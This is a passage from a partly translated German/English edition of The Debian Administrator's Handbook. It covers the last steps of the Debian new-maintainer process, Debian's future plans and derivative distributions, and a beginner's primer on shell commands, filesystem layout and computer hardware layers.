Dieser Schritt bietet dem Kandidaten die Möglichkeit zu erklären, was er innerhalb des Debian-Projekts zu tun beabsichtigt, und zu zeigen, was er zu diesem Zweck bereits getan hat. Debian ist ein pragmatisches Projekt, und es genügt nicht, etwas zu sagen, falls die Taten den Aussagen nicht entsprechen. Wenn die beabsichtigte Rolle innerhalb des Projekts sich auf die Paketbetreuung bezieht, wird im allgemeinen die erste Version des angehenden Pakets von einem Sponsor aus den Reihen der bereits registrierten Debian-Entwickler technisch überprüft und auf die Debian-Server hochgeladen.

GEMEINSCHAFT Sponsern

Debian-Entwickler können Pakete, die von jemand anderem entwickelt werden, „sponsern“. Das heißt, dass sie in den offiziellen Debian-Paketdepots veröffentlichen, nachdem sie einer sorgfältigen Überprüfung unterzogen haben. Dieses Vorgehen ermöglicht es externen Personen, die noch nicht durch den für neue Betreuer erforderlichen Prozess gegangen sind, gelegentlich zum Projekt beizutragen. Gleichzeitig stellt es sicher, dass alle Pakete, die in Debian enthalten sind, stets von einem offiziellen Mitglied überprüft worden sind.

Finally, the examiner checks the candidate's technical (packaging) skills with a detailed questionnaire. Bad answers are not permitted, but the answer time is not limited. All the documentation is available and several attempts are allowed if the first answers are not satisfactory. This step does not intend to discriminate, but to ensure at least a modicum of knowledge common to new contributors.

Dieser Schritt wird im Jargon der Prüfer als Aufgaben & Fähigkeiten (kurz: T&S) bezeichnet.

15.4.2.5. Endgültige Bestätigung

Im allerletzten Schritt wird der gesamte Prozess durch einen DAM (Debian Account Manager) begutachtet. Der DAM wird alle vom Prüfer über den Kandidaten zusammengetragenen Informationen nachprüfen und dann entscheiden, ob ein Konto auf den Debian-Servern eingerichtet wird oder nicht. Falls zusätzliche Informationen benötigt werden, kann die Kontoerstellung verzögert werden. Ablehnungen sind recht selten, falls der Prüfer gute Arbeit bei der Verfolgung des Vorgangs geleistet hat, aber sie kommen manchmal vor. Sie sind niemals endgültig, und der Kandidat kann es später noch einmal versuchen.

Die Entscheidung des DAM ist bindend und (fast) ohne Einspruchsmöglichkeit, woraus sich erklärt, warum die Personen in dieser Position bereits häufig kritisiert worden sind.

Kapitel 16. Zusammenfassung: Debians Zukunft

Die Geschichte der Falcot Corp endet in diesem letzten Abschnitt. Debian aber lebt weiter und die Zukunft wird sicher einige interessante Überaschungen bereithalten.

16.1. Zukünftige Entwicklungen

Now that Debian version 11 is out, the developers are already busy working on the next version, codenamed Bookworm…

Es gibt keine offizielle Liste geplanter Änderungen und Debian macht niemals Versprechen bezüglich technischer Ziele kommender Versionen. Trotzdem sind einige Trends der Entwicklung bereits erkennbar und wir können versuchen vorherzusagen, was kommen wird (oder auch nicht). Einige der anstehenden Änderungen sind in den Debian 11 Release Notes dokumentiert:

→ https://www.debian.org/releases/bullseye/amd64/release-notes/ch-information.en.html#deprecated-components

Beyond usual deprecation of some software components, it is worth pointing out that Debian is in the process of switching to what is known as a merged-usr filesystem: in this scheme /bin, /sbin and /lib are symlinks pointing to the corresponding directories in /usr. This improves compatibility between all Unix systems, makes us closer of having all Debian-supplied files in a single top-level directory that can be easily protected, snapshotted or shared. You can learn more about the benefits here:

→ https://www.freedesktop.org/wiki/Software/systemd/TheCaseForTheUsrMerge/

This important change is not without creating issues: dpkg will have to learn about those aliased directories, but the dpkg maintainer doesn't like the technical solution deployed by Debian and hasn't yet made the required changes. The Debian technical committee's help has been requested multiple times already. Their last decision can be found here:

→ https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=994388#110

apt-key will become obsolete. The key management for third party repositories should only rely on keys found in /etc/apt/trusted.gpg.d or configured via Signed-By as described in Abschnitt 6.6, „Die Echtheit eines Paketes prüfen“.

For some tasks the default software solution will change. As an example: plocate might be a faster and smaller replacement for mlocate. systemd will continue to add new features that help to standardize the boot process and system management, allowing us to get rid of some other software in the base system.

Of course all the main software suites will have a major release. The latest version of the various desktops will bring better usability and new features.

The default permission of home directories will be more restrictive, allowing only the user to access their files.

Developments which already began will continue: Improve build reproducibility and security for example. With the widespread use of continuous integration and the growth of the archive (and of the biggest packages!), the constraints on release architectures will be harder to meet and architectures will be dropped.

16.2. Debians Zukunft

Zusätzlich zu diesen internen Entwicklungen kann man mit gutem Grund erwarten, dass neue Debian-basierte Distributionen das Licht der Welt erblicken werden, denn viele Werkzeuge erleichtern diese Aufgabe. Spezielle neue Unterprojekte werden gestartet, um neue Wege zur Verbreitung Debians zu erschließen.

Die Debian-Gemeinschaft wird wachsen. Neue Helfer werden sich dem Projekt anschließen... Vielleicht bist du ja unter ihnen!

There are recurring discussions about how the software ecosystem is evolving, towards applications shipped within containers, where Debian packages have no added value, or with language-specific package managers (e.g. pip for Python, npm for JavaScript, etc.), which are rendering dpkg and apt obsolete. Facing those threats, I am convinced that Debian developers will find ways to embrace those changes and to continue to provide value to users.

Trotz seines Alters und seiner respektablen Größe wächst Debian weiter in alle möglichen (manchmal unerwarteten) Richtungen. Mitwirkende sind voller Ideen, und Diskussionen auf Entwicklungs-Mailinglisten, selbst wenn sie wie Gezänk aussehen, verstärken den Schwung. Debian wird manchmal verglichen mit einem schwarzen Loch einer so starken Dichte, dass jedes neue freie Softwareprojekt angezogen wird.

Beyond the apparent satisfaction of most Debian users, a deep trend is becoming more and more indisputable: people (and companies!) are increasingly realizing that collaborating, rather than working alone in their corner, leads to better results for everyone. The number of commercial companies relying on Debian is larger every year.

Das Debian-Projekt ist daher nicht vom Aussterben bedroht…

16.3. Die Zukunft des Buches

We would like this book to evolve in the spirit of free software. We therefore welcome contributions, remarks, suggestions, and criticism. Please direct them to Raphaël (<hertzog@debian.org>) or Roland (<lolando@debian.org>). For actionable feedback, feel free to open bug reports against the debian-handbook Debian package. The website will be used to gather all information relevant to its evolution, and you will find there information on how to contribute, in particular if you want to translate this book to make it available to an even larger public than today.

→ https://debian-handbook.info/

→ https://bugs.debian.org/src:debian-handbook

Wir versuchten möglichst viel Erfahrung, die wir bei der Arbeit mit Debian erlangt haben einzubringen, so dass jeder diese Distribution nutzen und so schnell wie möglich die für ihn größten Vorteile daraus ziehen kann. Wir hoffen, dass dieses Buch einen Beitrag dazu leistet, Debian weniger verwirrend und populärer zu machen, und wir freuen uns über jede Werbung dafür!

We would like to conclude on a personal note. Writing (and translating) this book took a considerable amount of time out of our usual professional activity. Since we are both freelance consultants, any new source of income grants us the freedom to spend more time improving Debian; we hope this book to be successful and to contribute to this. In the meantime, feel free to retain our services!

→ https://www.freexian.com

→ https://www.gnurandal.com

Bis bald!

Anhang A. Derivate (Abgeleitete Distributionen)

Many Linux distributions are derivatives of Debian and reuse Debian's package management tools. They all have their own interesting properties, and it is possible one of them will fulfill your needs better than Debian itself.

A.1. Beteiligung und Kooperation

Das Debian-Projekt erkennt die Wichtigkeit von abgeleiteten Distributionen an und unterstützt aktiv die Zusammenarbeit zwischen allen Beteiligten. Diese Zusammenarbeit beinhaltet das Integrieren von Verbesserungen die ursprünglich von abgeleiteten Distributionen entwickelt wurden, sodass jeder daraus einen Vorteil zieht und die Arbeit zur langfristigen Pflege reduziert wird.

Dies erklärt, warum abgeleitete Distributionen eingeladen sind, sich in Diskussionen auf der debian-derivatives@lists.debian.org Mailing-Liste einzubringen und am Zensus zu abgeleiteten Distributionen teilzunehmen. Das Ziel der Beteiligung ist es, Informationen zu Arbeiten an den abgeleiteten Distributionen zu sammeln, damit die offiziellen Debian Maintainer besser den Status ihrer Pakete in den Debian Varianten verfolgen können.

→ https://wiki.debian.org/DerivativesFrontDesk

→ https://wiki.debian.org/Derivatives/Census

Lassen Sie uns nun kurz die interessantesten und bekanntesten Derivate ansehen.

A.2. Ubuntu

Ubuntu made quite a splash when it came on the free software scene, and for good reason: Canonical Ltd., the company that created this distribution, started by hiring thirty-odd Debian developers and publicly stating the far-reaching objective of providing a distribution for the general public with a new release twice a year. They also committed to maintaining each version for a year and a half.

Diese Ziele bedeuten zwangsläufig auch eine Reduzierung des Umfanges. Ubuntu richtet sein Hauptaugenmerk auf eine kleinere Anzahl an Software-Paketen als Debian und stützt sich primär auf den GNOME-Desktop (obwohl offiziell auch auf andere Desktops basierende Versionen unterstützt werden). Alle Komponenten wurden internationalisiert und in sehr viele Sprachen übersetzt.

So far, Ubuntu has managed to keep this release rhythm. They also publish Long Term Support (LTS) releases, with a 5-year maintenance promise. As of April 2021, the current LTS version is version 20.04, nicknamed Focal Fossa. The last non-LTS version is version 21.04, nicknamed Hirsute Hippo. Version numbers describe the release date: 21.04, for example, was released in April 2021.

IN DER PRAXIS Ubuntus Support- und Wartungsversprechen

Canonocal hat die Regeln, nach denen sich die Länge der Wartungsperiode für ein bestimmtes Release richtet, mehrfach angepasst. Als Unternehmen verspricht Canonical, Sicherheitsaktualisierungen für die gesamte Software in den Zweigen main und restricted des Ubuntu-Archivs zur Verfügung zu stellen, 5 Jahre für die LTS- und 9 Monate für die anderen Releases. Der Rest (angesiedelt in den Zweigen universe und multiverse) wird nach Kräften von Freiwilligen des MOTU-Teams (Masters Of The Universe) gewartet. Rechnen Sie damit, die Sicherheitswartung selbst zu bewältigen, wenn Sie auf Pakete aus den letzteren Zweigen angewiesen sind.

Ubuntu hat mitlerweile eine breite Anhängerschaft in der Öffentlichkeit erreicht. Millionen Benutzer sind beeindruckt von seiner einfachen Installation und der Arbeit die in die Verbesserung der Benutzerfreundlichkeit des Desktops gesteckt wurde.

Ubuntu und Debian hatten eine angespannte Beziehung; Debian-Entwickler, die große Hoffnungen in Ubuntu gesetzt hatten, direkt zu Debian beizutragen, waren enttäuscht über den Unterschied zwischen dem kanonischen Marketing, das implizierte, dass Ubuntu ein "guter Bürger" in der Welt der Freien Software wäre und der tatsächlichen Praxis, einfach die Änderungen, die sie an Debian-Paketen vorgenommen hatten, öffentlich zu machen. Die Situation hat sich im Laufe der Jahre verbessert und Ubuntu hat es nun zur allgemeinen Praxis gemacht, Patches an die am besten geeignete Stelle weiterzuleiten (obwohl dies nur für externe Software gilt, die sie selbst verpacken und nicht für die Ubuntu-spezifische Software wie Mir oder Unity).

→ https://www.ubuntu.com/

A.3. Linux Mint

Linux Mint is a (partly) community-maintained distribution, supported by donations and advertisements. Their flagship product is based on Ubuntu, but they also provide a “Linux Mint Debian Edition” (LMDE), which is based on Debian Stable with a few backports. LMDE is available for both 32 and 64-bit.

In both cases, the initial installation involves booting a live DVD or a live USB storage device.

Das Ziel der Distribution ist die Vereinfachung des Zugriffs auf fortschrittliche Technologien. Sie bietet spezielle grafische Oberflächen für die übliche Software. Linux Mint basiert standardmäßig auf Cinnamon an Stelle von GNOME (aber es gibt auch MATE sowie Xfce) . Auch die Software-Paketverwaltung, obwohl auf APT aufbauend, bietet ein spezielles Interface mit einer Vorab-Prüfung auf evtl. Gefahren und Probleme bei einem Paket-Update.

Linux Mint beinhaltet eine große Anzahl proprietärer Software, um die bestmögliche Nutzererfahrung sicherzustellen. Zum Beispiel: Adobe Flash und Multimedia Codecs.

→ https://linuxmint.com/

A.4. Knoppix

The Knoppix distribution barely needs an introduction. It was the first popular distribution to provide a live CD; in other words, a bootable CD-ROM that runs a turn-key Linux system with no requirement for a hard-disk — any system already installed on the machine will be left untouched. Automatic detection of available devices allows this distribution to work in most hardware configurations. The CD-ROM includes almost 1 GB of (compressed) software, and the DVD-ROM version has around 4.5 GB.

Diese CD-ROM in Verbindung mit einem USB-Stick erlaubt es, Ihre Daten mitzunehmen und auf jedem beliebigen Computer zu arbeiten, ohne Spuren zu hinterlassen. Das liegt daran, dass die Distribution die Festplatte überhaupt nicht benutzt. Knoppix verwendet standardmäßig LXDE (einem sehr schlanken grafischen Desktop), aber die DVD-Version enthält auch GNOME und Plasma. Viele andere Distributionen nutzen andere Zusammenstellungen von Desktop und Software. Dies wird teilweise durch das Debian live-build-Paket ermöglicht, das es relativ einfach macht, Live-CDs zu erstellen.

→ https://live-team.pages.debian.net/live-manual/

Note that Knoppix also provides an installer: you can first try the distribution as a live CD, then install it on a hard-disk to get better performance.

→ https://www.knopper.net/knoppix/

A.5. Aptosid und Siduction

These community-based distributions track the changes in Debian Sid (Unstable) — hence their name. The modifications are limited in scope: the goal is to provide the most recent software and to update drivers for the most recent hardware, while still allowing users to switch back to the official Debian distribution at any time. Aptosid was previously known as Sidux, and Siduction is a more recent fork of Aptosid.

→ http://aptosid.com

→ https://siduction.org

A.6. Grml

Grml is a live CD with many tools for system administrators, dealing with installation, deployment, and system rescue. The live CD is provided in two flavors, full and small, both available for 32-bit and 64-bit PCs. Obviously, the two flavors differ by the amount of software included and by the resulting size.

→ https://grml.org

A.7. Tails

Tails OS (The Amnesic Incognito Live System) aims at providing a live system that preserves anonymity and privacy. It takes great care in not leaving any trace on the computer it runs on, and uses the Tor network to connect to the Internet in the most anonymous way possible.

→ https://tails.boum.org

A.8. Kali Linux

Kali Linux is a Debian-based distribution specializing in penetration testing (“pentesting” for short). It provides software that helps auditing the security of an existing network or computer while it is live, and analyze it after an attack (which is known as “computer forensics”).

→ https://kali.org

A.9. Devuan

Devuan is a fork of Debian started in 2014 as a reaction to the decision made by Debian to switch to systemd as the default init system. A group of users attached to sysv and opposing drawbacks to systemd started Devuan with the objective of maintaining a systemd-less system.

→ https://devuan.org

A.10. DoudouLinux

DoudouLinux targets young children (starting from 2 years old). To achieve this goal, it provides a heavily customized graphical interface (based on LXDE) and comes with many games and educative applications. Internet access is filtered to prevent children from visiting problematic websites. Advertisements are blocked. The goal is that parents should be free to let their children use their computer once booted into DoudouLinux. And children should love using DoudouLinux, just like they enjoy their gaming console. Unfortunately this distribution hasn't seen any active development in the recent years.

→ https://doudoulinux.org

A.11. Raspbian

Raspbian is a rebuild of Debian optimized for the popular (and inexpensive) Raspberry Pi family of single-board computers. The recent release of Raspbian for the arm64 architecture is no longer a rebuild, though. Instead it runs a pristine Debian Bullseye. The project just adds some extra packages, especially a custom kernel, to fully support the hardware.

→ https://raspbian.org

Debian also provides own images for several Raspberry Pi devices.

→ https://raspi.debian.net/

A.12. PureOS

PureOS is a Debian-based distribution focused on privacy, convenience and security. It follows the GNU Free System Distribution Guidelines, used by the Free Software Foundation to qualify a distribution as free. The social purpose company Purism guides its development.

→ https://pureos.net/

A.13. SteamOS

SteamOS is a gaming-oriented Debian-based distribution developed by Valve Corporation. It is used in the Steam Machine, a line of gaming computers. The upcoming release 3.0 will, however, use Arch Linux as platform.

→ https://store.steampowered.com/steamos/

A.14. und viele mehr

Die Distrowatch Website verweist auf eine riesige Zahl von Linux Distributionen, von denen viele auf Debian basieren. Auf dieser Seite zu stöbern ist ein großartiger Weg um ein Gefühl für die Vielfalt in der Welt Freier Software zu bekommen.

→ https://distrowatch.com

The search form can help track down a distribution based on its ancestry. In April 2021, selecting Debian led to 154 active distributions!

→ https://distrowatch.com/search.php

Anhang B. Kurzer Förderkurs

Obwohl dieses Buch vor allem für Administratoren und „Power-User“ gedacht ist, möchten wir motivierte Einsteiger nicht ausschließen. Dieser Anhang enthält daher einen Schnellkurs, der die grundlegenden Konzepte beschreibt, die mit der Handhabung eines Unix-Rechners verbunden sind.

B.1. Shell und grundlegende Befehle

In der Unix-Welt wird jeder Administrator früher oder später die Befehlszeile verwenden müssen; zum Beispiel, wenn das System nicht korrekt startet und nur einen Rettungsmodus mit einer Befehlszeile bereitstellt. Mit einer derartigen Schnittstelle umgehen zu können, stellt daher unter solchen Umständen eine grundlegende Überlebensfertigkeit dar.

KURZER BLICK Den Befehlsinterpreter starten

A command-line environment can be run from the graphical desktop, by an application known as a “terminal”. In GNOME, you can start it from the “Activities” overview (that you get when you move the mouse in the top-left corner of the screen) by typing the first letters of the application name. In Plasma (and many other desktop variants), you will find it in the applications menu Applications → System menu.

Dieses Kapitel gibt nur einen kurzen Überblick über die Befehle. Sie alle haben zahlreiche Optionen, bitte lesen Sie dazu auch die ausführliche Dokumentation auf ihren jeweiligen Handbuchseiten.

B.1.1. Den Verzeichnisbaum durchsuchen und Dateien verwalten

Sobald eine Sitzung gestartet ist, zeigt der Befehl pwd (das steht für print working directory) die derzeitige Position im Dateisystem an. Das aktuelle Verzeichnis kann mit dem Befehl cd verzeichnis (cd steht für change directory) gewechselt werden. Das übergeordnete Verzeichnis heißt immer .. (zwei Punkte), während das aktuelle Verzeichnis auch als . (ein Punkt) bekannt ist. Der Befehl ls (list) zeigt den Inhalt eines Verzeichnisses an. Wenn keine zusätzlichen Parameter angegeben werden, wird das aktuelle Verzeichnis angezeigt.

$ pwd /home/rhertzog $ cd Desktop $ pwd /home/rhertzog/Desktop $ cd . $ pwd /home/rhertzog/Desktop $ cd .. $ pwd /home/rhertzog $ ls Desktop Downloads Pictures Templates Documents Music Public Videos

Ein neues Verzeichnis kann mit mkdir Verzeichnis erstellt und ein bestehendes (leeres) Verzeichnis mit rmdir Verzeichnis entfernt werden. Der Befehl mv (moving) ermöglicht es, Dateien und Verzeichnisse zu verschieben oder umzubenennen. Eine Datei wird mit rm Datei (remove) gelöscht.

$ mkdir test $ ls Desktop Downloads Pictures Templates Videos Documents Music Public test $ mv test new $ ls Desktop Downloads new Public Videos Documents Music Pictures Templates $ rmdir new $ ls Desktop Downloads Pictures Templates Videos Documents Music Public

B.1.2. Textdateien anzeigen und verändern

Der Befehl cat datei (der dazu gedacht ist, Dateien auf seinem Standardausgabegerät zu verketten [= concatenate]) liest eine Datei und zeigt ihren Inhalt im Terminal an. Wenn die Datei zu groß ist, um auf den Bildschirm zu passen, kann man ein Seitenwechselprogramm wie less (oder more) benutzen, um sie Seite für Seite anzuzeigen.

Der Befehl editor startet einen Text-Editor (wie vi oder nano) und ermöglicht es, Textdateien zu erstellen, zu verändern und zu lesen. Sehr einfache Dateien können mitunter direkt im Befehlsinterpreter mithilfe einer Umleitung erstellt werden: echo „text“ >datei erstellt eine Datei namens datei mit dem Inhalt „text“. Mit einem Befehl wie echo „mehrText“ >>datei kann auch eine Zeile am Ende der Datei hinzugefügt werden. Bitte beachten Sie >> in diesem Beispiel.

B.1.3. Nach Dateien und in Dateien suchen

Der Befehl find verzeichnis kriterien sucht verschiedenen Kriterien entsprechend in der Verzeichnishierarchie unterhalb von verzeichnis nach Dateien. Das am häufigsten verwendete Kriterium ist -name name: mit ihm kann eine Datei namentlich gesucht werden.

Der Befehl grep ausdruck dateien durchsucht den Inhalt der Dateien und exzerpiert die Zeilen, die dem regulären Ausdruck entsprechen (siehe ZURÜCK ZU DEN GRUNDLAGEN Regulärer Ausdruck in der Seitenleiste). Das Hinzufügen der Option -r bewirkt eine rekursive Suche in allen Dateien des Verzeichnisses, das als Parameter angegeben wird. So ist es möglich, nach einer Datei zu suchen, wenn nur ein Teil ihres Inhalts bekannt ist.

B.1.4. Prozesse verwalten

Der Befehl ps aux listet die Prozesse auf, die gerade laufen, und hilft dabei, sie anhand ihrer pid (process id) zu identifizieren. Wenn die pid eines Prozesses bekannt ist, kann man ihm mit dem Befehl kill -signal pid ein Signal schicken (falls der Prozess dem aktuellen Benutzer gehört). Es gibt verschiedene Signale; am häufigsten werden TERM (eine höfliche Aufforderung aufzuhören) und KILL (ein erzwungener Abbruch) verwendet.

Der Befehlsinterpreter kann auch Programme im Hintergrund ausführen, wenn dem Befehl ein „&“ folgt. Durch Verwendung dieses Und-Zeichens übernimmt der Benutzer sofort wieder die Kontrolle über das Terminal, obwohl der Befehl noch läuft (vor dem Benutzer verborgen als Hintergrundprozess). Der Befehl jobs listet die im Hintergrund laufenden Prozesse auf; das Ausführen von fg %job-nummer (für foreground) stellt einen Job wieder im Vordergrund her. Wenn ein Befehl im Vordergrund läuft (weil er entweder normal gestartet wurde oder mit fg wieder in den Vordergrund gebracht wurde), hält die Tastenkombination Control+Z den Prozess an und stellt die Kontrolle über die Befehlszeile wieder her. Der Prozess kann dann im Hintergrund mit bg %job-nummer (für background) fortgesetzt werden.

B.1.5. Systeminformation: Speicher, Speicherplatz, Identität

Der Befehl free zeigt Informationen über den Speicher; df (disk free) meldet den verfügbaren Speicherplatz auf jeder im Dateisystem eingehängten Platte. Seine Option -h (für human readable) rechnet die Größen in eine leichter lesbare Einheit um (üblicherweise Mebibytes oder Gibibytes). In ähnlicher Weise unterstützt der Befehl free die Optionen -m und -g und zeigt seine Daten dementsprechend entweder in Mebibytes oder Gibibytes an.

$ free total used free shared buff/cache available Mem: 16279260 5910248 523432 871036 9845580 9128964 Swap: 16601084 240640 16360444 $ df Filesystem 1K-blocks Used Available Use% Mounted on udev 8108516 0 8108516 0% /dev tmpfs 1627928 161800 1466128 10% /run /dev/mapper/vg_main-root 466644576 451332520 12919912 98% / tmpfs 8139628 146796 7992832 2% /dev/shm tmpfs 5120 4 5116 1% /run/lock tmpfs 8139628 0 8139628 0% /sys/fs/cgroup /dev/sda1 523248 1676 521572 1% /boot/efi tmpfs 1627924 88 1627836 1% /run/user/1000

Der Befehl id zeigt die Identität des Benutzers an, der die Sitzung ausführt, zusammen mit einer Liste der Gruppen, denen er angehört. Da der Zugriff auf einige Dateien oder Geräte auf Gruppenmitglieder beschränkt sein kann, kann es nützlich sein, die verfügbaren Gruppenmitgliedschaften zu überprüfen.

$ id uid=1000(rhertzog) gid=1000(rhertzog) groups=1000(rhertzog),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),109(bluetooth),115(scanner)

B.2. Organisation der Dateisystem-Hierarchie

B.2.1. Das Wurzelverzeichnis

Ein Debian-System ist gemäß dem Filesystem Hierarchy Standard (FHS) organisiert. Dieser Standard legt den Zweck jedes Verzeichnisses fest. So sind zum Beispiel die Verzeichnisse der obersten Ebene wie folgt bezeichnet:

/bin/: grundlegende Programme;

/boot/: Linux-Kernel und andere Dateien, die für seinen frühen Startvorgang benötigt werden;

/dev/: Gerätedateien;

/etc/: Konfigurationsdateien;

/home/: persönliche Dateien des Benutzers;

/lib/: grundlegende Bibliotheken;

/media/*: Einhängepunkte für entfernbare Geräte (CD-ROM, USB-Sticks und so weiter);

/mnt/: vorübergehender Einhängepunkt;

/opt/: zusätzliche von Dritten bereitgestellte Anwendungen;

/root/: persönliche Dateien des Administrators (zu Root gehörig);

/run/: flüchtige Laufzeitdaten, die Neustarts nicht überstehen;

/sbin/: Systemprogramme;

/srv/: Daten, die von auf diesem System untergebrachten Servern benutzt werden;

/tmp/: temporäre Dateien; dieses Verzeichnis wird häufig während des Rechnerstarts geleert;

/usr/: Anwendungen; dieses Verzeichnis ist weiter unterteilt in bin, sbin, lib (nach derselben Logik wie beim Wurzelverzeichnis). Darüber hinaus enthält /usr/share/ architekturunabhängige Daten. /usr/local/ soll vom Administrator dazu verwendet werden, von Hand Anwendungen zu installieren, ohne dabei Dateien zu überschreiben, die das Paketsystem (dpkg) verwaltet.

/var/: veränderliche Daten, die von Daemons gehandhabt werden. Hierzu gehören Protokolldateien, Warteschlangen, Zwischenspeicher und so weiter.

/proc/ und /sys/ sind kernelspezifisch (und nicht Teil der FHS). Sie werden vom Kernel benutzt, um Daten in die Anwenderebene zu exportieren (für Erklärungen dieses Konzepts siehe Abschnitt B.3.4, „Die Anwendungsebene“ und Abschnitt B.5, „Die Anwendungsebene“.

Bitte beachten Sie, dass moderne Distributionen wie Debian /bin, /sbin und /lib als Symlinks der entsprechenden Verzeichnisse unter /usr einrichten, damit alle Programme und Libraries in einem Verzeichnisbaum bereitstehen. Das erleichtert es für die Integrität des Dateisystems zu sorgen, diese für unterschiedliche Container bereitzuhalten, und so weiter.

B.2.2. Das Home-Verzeichnis des Benutzers

Der Inhalt des Home-Verzeichnisses eines Benutzers ist nicht standardisiert, es gibt aber einige beachtenswerte Gepflogenheiten. Eine ist, dass das Home-Verzeichnis eines Benutzers oft durch eine Tilde („~“) bezeichnet wird. Das ist nützlich zu wissen, denn Befehlszeileninterpreter ersetzen die Tilde automatisch durch das korrekte Verzeichnis (normalerweise /home/benutzer/).

Die Konfigurationsdateien der Anwendungen werden häufig direkt im Home-Verzeichnis des Benutzers gespeichert, jedoch beginnen ihre Namen gewöhnlich mit einem Punkt (zum Beispiel speichert der E-Mail-Client mutt seine Konfiguration in ~/.muttrc). Achten Sie darauf: Dateinamen, die mit einem Punkt beginnen, sind standardmäßig unsichtbar, und ls führt sie nur auf, wenn die Option -a benutzt wird und bei Dateimanagern muß dies auch explizit eingestellt werden.

Some programs also use multiple configuration files organized in one directory (for instance, ~/.ssh/). Some applications also use their directory to store a cache of downloaded data. This means that those directories can end up using a lot of disk space.

These configuration files stored directly in a user's home directory, often collectively referred to as dotfiles, have long proliferated to the point that these directories can be quite cluttered with them. Fortunately, an effort led collectively under the FreeDesktop.org umbrella has resulted in the “XDG Base Directory Specification”, a convention that aims at cleaning up these files and directories. This specification states that configuration files should be stored under ~/.config/, cache files under ~/.cache/, and application data files under ~/.local/ (or subdirectories thereof). This convention is slowly gaining traction, and several applications (especially graphical ones) have started following it.

Grafische Arbeitsflächen zeigen normalerweise den Inhalt des Verzeichnisses ~/Desktop/ (oder was immer die entsprechende Übersetzung für Systeme ist, die nicht in Englisch konfiguriert sind) auf der Arbeitsfläche an (das heißt, was auf dem Bildschirm sichtbar ist, wenn alle Anwendungen geschlossen oder zu Piktogrammen minimiert sind).

Schließlich speichert das E-Mail-System ankommende E-Mails manchmal in einem ~/Mail/-Verzeichnis.

B.3. Das Innenleben eines Rechners: die verschiedenen beteiligten Schichten

Ein Rechner wird häufig als etwas ziemlich Abstraktes angesehen, und die äußerlich sichtbare Schnittstelle ist wesentlich einfacher als seine interne Komplexität. Diese Komplexität ergibt sich zum Teil aus der Zahl der beteiligten Teile. Diese Teile können jedoch in Form von Schichten betrachtet werden, wobei eine Schicht nur mit der unmittelbar darüber- und darunterliegenden interagiert.

Ein Endbenutzer kann zurechtkommen, ohne diese Einzelheiten zu kennen... solange alles funktioniert. Wenn man einem Problem wie „Das Internet geht nicht!“ gegenübersteht, besteht der erste Schritt darin herauszufinden, aus welcher Schicht das Problem herrührt. Funktioniert die Netzwerkkarte (Hardware)? Wird sie vom Rechner erkannt? Sieht sie der Linux-Kernel? Sind die Netzwerkparameter richtig eingestellt? All diese Fragen grenzen die zutreffende Schicht ein und richten das Augenmerk auf die mögliche Quelle des Problems.

B.3.1. Die unterste Schicht: Die Hardware

Lassen Sie uns mit der grundlegenden Erinnerung beginnen, dass ein Rechner in erster Linie eine Zusammenstellung von Hardwareelementen ist. Es gibt im Allgemeinen eine Hauptplatine (das Motherboard) mit einem (oder mehreren) Prozessor(en), etwas RAM, Gerätesteuerungen und Erweiterungssteckplätze für Optionskarten (für weitere Gerätesteuerungen). Von diesen Steuerungen sind vor allem das IDE (paralleles ATA), das SCSI und das serielle ATA zum Anschluss von Speichergeräten wie Festplatten beachtenswert. Zu den weiteren Steuerungen gehören das USB, das eine große Vielfalt an Geräten (von Webkameras zu Thermometern, von Tastaturen zu Systemen für die Hausautomation) aufnehmen kann, und das IEEE_1394 (Firewire). Diese Steuerungen ermöglichen es häufig, mehrere Geräte anzuschließen. Daher wird das vollständige Subsystem, für das eine Steuerung zuständig ist, gewöhnlich als „Bus“ bezeichnet. Zu den Optionskarten gehören Grafikkarten (an die Bildschirme angeschlossen werden), Soundkarten, Netzwerkschnittstellenkarten und so weiter. Bei einigen Hauptplatinen sind diese Bestandteile bereits fest eingebaut, so dass sie keine Optionskarten benötigen.

IN DER PRAXIS Überprüfen, ob die Hardware funktioniert

Zu überprüfen, ob ein Hardwareteil funktioniert, kann schwierig sein. Dagegen lässt sich manchmal recht einfach feststellen, dass es nicht funktioniert.

Ein Festplattenlaufwerk besteht aus sich drehenden Platten und sich bewegenden Magnetköpfen. Wenn eine Festplatte angeschaltet wird, erzeugt der Plattenmotor ein charakteristisches Surren. Außerdem gibt er Energie in Form von Hitze ab. Deshalb ist ein Festplattenlaufwerk, das beim Anschalten kalt und still bleibt, defekt.

Netzwerkkarten besitzen häufig LEDs, die den Verbindungsstatus anzeigen. Falls ein Kabel angeschlossen ist und zu einem funktionierenden Netzwerk-Hub oder -Schalter führt, wird zumindest eine LED an sein. Falls keine LED leuchtet, ist entweder die Karte selbst, das Netzwerkgerät oder das Kabel zwischen ihnen defekt. Der nächste Schritt besteht deshalb dann darin, jede Komponente einzeln zu überprüfen.

Einige Optionskarten - insbesondere 3D-Videokarten - enthalten Kühlungen, wie Kühlkörper und Ventilatoren. Wenn sich der Ventilator nicht dreht, obwohl die Karte angeschaltet ist, besteht eine plausible Erklärung darin, dass die Karte überhitzt ist. Das Gleiche gilt auch für den oder die Hauptprozessor(en) auf der Hauptplatine.

B.3.2. Der Starter: das BIOS oder UEFI

Hardware ist für sich genommen ohne entsprechende Software, die sie steuert, nicht in der Lage, sinnvolle Tätigkeiten auszuführen. Der Zweck des Betriebssystems und der Anwendungen besteht darin, die Hardware zu kontrollieren und mit ihr zu interagieren. Ihrerseits benötigen sie funktionierende Hardware, um zu laufen.

This symbiosis between hardware and software does not happen on its own. When the computer is first powered up, some initial setup is required. This role is assumed by the BIOS or UEFI, a piece of software embedded into the main board that runs automatically upon power-up. Its primary task is searching for software it can hand over control to. Usually, as you may have learned in Abschnitt 9.1, „Systemstart“, in the BIOS case, this involves looking for the first hard disk with a boot sector (also known as the master boot record or MBR), loading that boot sector, and running it. From then on, the BIOS is usually not involved (until the next boot). In the case of UEFI, the process involves scanning disks to find a dedicated EFI partition containing further EFI applications to execute.

HILFSPROGRAMM Setup, das BIOS/UEFI-Konfigurationsprogramm

The BIOS/UEFI also contains a piece of software called Setup, designed to allow configuring aspects of the computer. In particular, it allows choosing which boot device is preferred (for instance, you can select a USB key or a CD-ROM drive instead of the default harddisk), setting the system clock, and so on. Starting Setup usually involves pressing a key very soon after the computer is powered on. This key is often Del or Esc, sometimes F2, F5, F8, or F10. Most of the time, the choice is flashed on screen while booting. If not, you best check the manual of your mainboard or your computer.

